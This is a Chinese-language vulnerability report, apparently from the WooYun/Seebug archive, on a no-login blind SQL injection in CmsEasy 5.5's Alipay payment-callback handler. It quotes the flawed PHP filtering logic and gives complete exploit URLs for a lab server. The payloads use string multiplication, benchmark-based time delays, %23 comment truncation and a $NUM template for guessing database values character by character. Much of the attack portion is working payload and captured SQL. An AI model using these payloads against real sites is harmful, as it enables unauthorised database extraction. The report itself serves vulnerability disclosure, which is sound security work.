### 简要描述:
cmseasy 再次绕过前台sql盲注(无需登录)
### 详细说明:
我们直接进入:
archive_act.php:(611-628):
```
function respond_action() {
include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php';
$payclassname = front::$get['code'];
$payobj = new $payclassname();
$uri = $_SERVER["REQUEST_URI"];
$__uriget = strstr($uri, '?');
$__uriget = str_replace('?', '', $__uriget);
$__uriget = explode('&', $__uriget);
$_GET = array();
foreach ($__uriget as $key => $val) {
$tmp = explode('=', $val);
$_GET[$tmp[0]] = $tmp[1];
if(preg_match('/\'|select|union|"/i', $tmp1)){
exit('非法参数');
}
}
file_put_contents('logs11.txt', var_export($_GET,true));
$status = $payobj->respond();
```
然后 这个函数就流向了$payobj->respond()
我们跟进去看看:
alipay.php:(76-97):
```
function respond() {
if (!empty($_POST)) {
foreach($_POST as $key =>$data) {
if(preg_match('/(=|<|>|\')/', $data)){
return false;
}
$_GET[$key] = $data;
}
}
$payment = pay::get_payment($_GET['code']);
$seller_email = rawurldecode($_GET['seller_email']);
$order_sn = str_replace($_GET['subject'],'',$_GET['out_trade_no']);
$order_sn = trim($order_sn);
if (!pay::check_money($order_sn,$_GET['total_fee'])) {
return false;
}
if($_GET['trade_status'] == "WAIT_SELLER_SEND_GOODS"||$_GET['trade_status'] == "TRADE_FINISHED" || $_GET['trade_status'] == "TRADE_SUCCESS") {
pay::changeorders($order_sn,$_GET);
return true;
}else {
return false;
}
```
这里有一个逻辑错误,就是判断post,如果存在就把post里面的参数全部复制给get,在赋值的过程中对其进行了特殊字符的转换,因为后续传递的参数都是来自$_GET,那我们直接就通过GET参数进行传参数,这里就直接绕过去了,而且这里传递过来的参数完全没有防御
它过滤了什么呢,前面有一个一位已经说明:
[WooYun: CmsEasy最新版5.5_UTF-8_20140802绕过四次补丁继续SQL注入](http://www.wooyun.org/bugs/wooyun-2014-071091)
这里就不赘述,但是修复后的逻辑错误仍然可以进行sql注入的盲注猜测
除了以上所描述的,前台get参数不能输入什么
1.空格
2.=号
由于这里后台执行的是一个select操作,举一个例子吧
select * from table where a = '20140'
由于mysql可以字符串和任何东西相乘法,我们就可以这样去触发一个条件查询
select * from table where a = '20140'*(这里就是我们的条件判断)#'
根据以上的思路我们发送url:
http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818_new/uploads/index.php?case=archive&act=respond&code=alipay&out_trade_no=20140919161810-0'*if(ascii(substr((select/**/user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)#xxxxdddd
执行一次我们看看效果,从后台抓取sql语句:
SELECT * FROM `cmseasy_p_orders` WHERE `id`='20140919161810-0%27*if(ascii(substr((select/**/user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)' ORDER BY 1 desc limit 1
发现我们的#居然不见了,这个问题当然是浏览器url get请求的原因,他把后面当锚点了
那么我们在编码一下url:
http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818_new/uploads/index.php?case=archive&act=respond&code=alipay&out_trade_no=20140919161810-0'*if(ascii(substr((select/**/user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)%23xxxxdddd
抓取sql后台查看:
SELECT * FROM `cmseasy_p_orders` WHERE `id`='20140919161810-0%27*if(ascii(substr((select/**/user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)%23xxxxdddd' ORDER BY 1 desc limit 1
这里看到了吗,单引号,#号原封不动的encode,不过不要紧,浏览器默认做的事情,我们可以在后台curl发包,这里我直接用工具:
[<img src="https://images.seebug.org/upload/201409/192139503c052d0d26952ca4629a6120415c9845.png" alt="42.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/192139503c052d0d26952ca4629a6120415c9845.png)
这里请求当然也就成功延迟(7秒钟)执行,如果觉得不明显可以改大benchmark里面的数字
我们抓取sql:
SELECT * FROM `cmseasy_p_orders` WHERE `id`='20140919161810-0'*if(ascii(substr((select/**/user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)#xxxxdddd' ORDER BY 1 desc limit 1
这个成功执行了,那我们怎么猜测数据:
'*if(ascii(substr((select/**/user()),1,1))in($NUM),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)#xxxxdddd
其中这个$NUM就是我们可以控制的
ok!............................
### 漏洞证明:
暂无评论